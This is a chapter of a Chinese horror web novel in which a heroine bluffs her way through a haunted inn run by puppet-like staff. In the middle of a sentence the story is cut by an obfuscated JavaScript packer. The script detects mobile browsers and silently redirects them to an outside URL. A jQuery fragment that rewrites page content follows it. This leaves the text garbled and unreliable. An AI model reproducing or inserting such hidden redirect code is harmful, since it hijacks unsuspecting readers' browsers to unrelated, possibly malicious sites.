8.另一处据点
作品:《影视城,但遍地恐怖副本?!》 两盏煞白的纸灯笼挂在大门两旁,门敞开,里面漆黑一片,什么也看不到。
熟悉的外墙,污渍蜿蜒渗透;熟悉的连窗,半开半阖,随风吱呀作响。
魏迟观站在狭窄的山路旁,看着眼前的景象有些恍惚。
这里和外面的旅店几乎一样。
她攥紧在林中捡到的木棍,时刻防备傀儡的突袭,一步步向门内靠近。
里面仿佛充满了粘稠的黑色油漆,透不出一点轮廓或光亮。魏迟观捡起一块小石头,轻轻丢了进去。
啪嗒一声,石子落地。声音间隔和响度都正常,没有多余的或奇怪的动静。等待了一会,没发生什么异变,她才将木棍伸入,点在地上,如盲人般一边试探一边前进。
她决定进来,理由是那些“客人”的话。意思并不难解读:他们路过了被遗弃的旧道,夜间住宿在这家旅店。没想到,竟是黑店,不仅抢光了他们的钱财,还夺走了他们的命。
所以,作为客人进来,很可能会经历这样几步:被引诱住店、被袭击、被夺财、被杀害。
触动了这片区域,就会被变成这家店的预备客人。而它们会想尽各种办法,把她这位“客人”逼进它们的旅店,开始它们周而复始的谋财害人行为。
寂静中,大堂内头顶昏暗的烛光闪烁了几次才终于亮起,风动、门关,劈里啪啦的燃烧声清晰可闻。
魏迟观停在门边,看向停在柜台前,几乎和她差不多高的伙计——张吉。
它微笑问:“客官,吃饭还是住店?”
魏迟观将木棍藏在身后,陷入思索。什么样的人,能从这样的黑店里全须全尾地离开?
它微笑问:“客官,吃饭还是住店?”
成群结队、武艺高强的人。加害的风险过大,不如放他们走。
它哈下腰,谄媚问:“客官,吃饭还是住店?”
身份尊贵、地位显赫,被人重视的人。一旦离奇失踪,掘地三尺也要找到踪影。加害更是惹祸上身。
她要做哪种?又能做哪种?一个普通的香客……
时间紧迫,她必须马上想出来!
张吉受够了沉默。它站起身,头顶到了横梁,又别扭地弯起脖子——原来,刚刚一直在跪着。它的眼睛没有变化,被无视的愤怒与仇怨却几乎要溢出来。它一字一句再次问:“客官……”
魏迟观懒得抬头看它,只傲慢道:“住店。一间上房。”
“上房……”它胸腔里的声音嗡嗡作响,“一两银子一夜。”
“哈?”魏迟观冷笑,“就这荒郊野岭的,你敢收一两银子?城里最贵的地段也不敢收我这个价。”
张吉的声音扭曲起来,又放低又似乎咬牙切齿的:“您不会连一两银子都出不起吧?”
“笑话!”她立刻跳起来,“区区一两银子!别说一个晚上,一个月本小姐都包的起!”
“哦……那这位……”张吉又小心翼翼跪了下去,“小姐?不知您是先预付呢,还是拿什么东西抵押?”
“本小姐姓魏,记住了!”她趾高气扬地扔了一两银子过去。
那粒银子滚到台面上,打了个转,被张吉两只直挺挺的手掌捧住。它低矮着身子,一边带头引路,一边将脸死死埋入手掌中,馋涎欲滴地念道:“好香……”
银子,好像对它有不小的影响?
关注重心转移、短暂忽视外部环境,动作也迟缓。这是意外还是可复现的?影响的范围能有多少?
随着它越沉迷,关节上连着的丝线又多了几根。那些丝线弯弯绕绕,向大堂后面延伸。
魏迟观顺着线看去。从丝线聚合的角度来看,起始点恐怕就在不远处。她一边跟着上二楼,一边抱怨:“你们这地方,居然就你这么一个伙计。哼,真是寒酸。”
张吉连忙说:“还有别的,还有好几个呢。正在别的客人那里忙。”
“别的客人?”她不满,踢了它一脚,“拎不清的东西。别的客人能有本小姐尊贵?把它们都叫来!”
不等张吉发作,她又扔过去一小粒银子。张吉便又如得了心爱之物般,珍惜又宝贝地双手捧起、护在胸前。
可复现,但持续时间不长。
魏迟观转而改口:“不。你带我去瞧瞧,它们都在一块对付什么客人。”
“唉,不是不想带您。”它把银子左塞右藏,可怎么也怼不进去,只好举了起来,放到了嘴前,“那就是个穷鬼,还一点不懂规矩。不能辱没了您的身份呀。”
它的手如锤子一般,一下又一下地敲打银子。伴随着木头的开裂声,两粒银子如同两颗一大一小的门牙嵌在嘴上,成为了三条裂缝的起点。
现在,它能笑得更大了。
“哼。”她没有强求。进了上房,便将张吉打发了出去。接着打开窗,这里刚好能看见后院。
与外面原本的旅店不同,没有专供玩家们的“宿舍”,取而代之的,是另一个单独的屋子。而张吉身上的丝线,也收拢钻进了这间房间。另外还有厨房和马厩,都和外面的位置一样。
没有兰焰的踪迹。
但显然,张吉口中的另一位客人,极有可能就是兰焰。
将下面的情况尽收眼底后,魏迟观缓缓关上窗。
除了原本还愿的善喜寺香客身份,她还能装出什么,才能逃过一劫?
不能演武艺高强的人,因为武力的高低装不出。那演身份高贵的人?也许可以,毕竟她身上带了一些值钱的东西。但一是缺乏证明身份、震慑它们的物件,二是……如果它们真的相信了,恐怕便会提防她随便乱走动。等这个“夜晚”一过,她倒确实能离开,可兰焰呢?
除非……魏迟观攥紧袖子,将布料拧成一团。除非,她干脆放弃找兰焰。
哒、哒。木制楼梯上先是敲击声。像什么重物落地的声响。魏迟观屏住呼吸,仔细聆听。
哒、哒。那声音的节奏似曾相识,甚至……越来越近。
最后响起的,是三声敲门声。就在她的门外。
“魏小姐。”熟悉的、枯槁的声音迟缓隔着门响起,“叨扰了。小店备了些小吃给上房贵客,还请您收下。”
旅店老
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122544|195624||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
板顾忠?她握紧了手中的木棍。
“我不饿。”她将目光快速从各个角落搜索过,语气却相当不耐烦,“别吵我。”
顾忠静息一瞬,继续说:“都是些水果糕点,您今晚不吃,明天带上也是好的。”
那是什么东西?
魏迟观谨慎俯下身,望向底部的门缝——某种石油般的黑色物体正从门的下方淌入。顾忠每说一个字,它便向内蠕动一点。
魏迟观凝视着地面的阴影。
这是试探。试探后的结论,恐怕就会决定它们会将放走她,或者“留”下她。
该怎么做?
实际上,她没有非去找兰焰不可的理由。她们认识不过几个小时。尽管是她带兰焰过来的,但也早就给出了“不要靠得太近”的警示。反倒是兰焰的行为,将她也一并拉入到了这个场景中。何况,自己也不一定能活着出去,她也不一定真的还活着。
但……
魏迟观再次看向兰焰给她的留言。
片刻后,她将门打开一道口。
“拿来吧。”她敷衍伸出手。
走廊很暗。所有灯都熄灭了。眼前畸形的身体藏在灰蒙中,房间里的油灯将它的影子拉得极细长。
它被砍掉的部分没有恢复。由木头组成的部分没有变,而另一边原本还有人形的部分,则化作了某种黑色黏性物质,坍塌地依附在木身上。它的五官仿佛散在泥流中一般,一只眼球顶在最上面,一只眼球耷拉在腰间。它的嘴藏在凹陷里,鼻子和耳朵则失踪了。随着魏迟观将门打开,那流淌出去的一小部分,又蠕动了回去。
魏迟观的手停滞在半空。她脸色僵硬,慢慢后退半步。
这是……
顾忠咧开嘴,密密麻麻的金银颗粒藏在它淤泥般的口腔中。那道缝隙一张一合:“恐怕我们招待不周。不知道魏小姐的魏,是哪一家的魏?”
“哪一家?”魏迟观尽可能地摈弃杂念。她心虚着往四处看,转而又强撑着提高声音,“你怎么连魏家都没听说过?真是没见识。”
“呵呵,毕竟我们都是……荒山野岭里的乡下人。”顾忠的嘴移来移去,最后移到了头顶,和另一只眼睛挨在一起。嘴越来越大了。
“自己查去!”她一把抢过果盘,嘭地关上门。
她栓上门,无声后退,举起木棍,盯着门缝。那些物质又在门底徘徊,仿佛伺机欲动。
时间一分一秒过去。三分钟后,顾忠的声音终于再次幽幽传来:“叨扰魏小姐了。那我,就先离开了。”
魏迟观看向系统上的时间。11:24。
门底的物质彻底撤退。
但,离开?
魏迟观听着顾忠跳跃离去,却丝毫没有放松。
不可能。即将到来的,才是关键。
将整个房间翻箱倒柜地搜寻了一遍之后,她取出果盘中的糕点包起来藏了几块,又将油灯关进了橱柜中。
整个房间都黑了下去。
她脱下鞋和外衣,平躺在床,将被子盖过头顶,静静等待着……下一个时机。

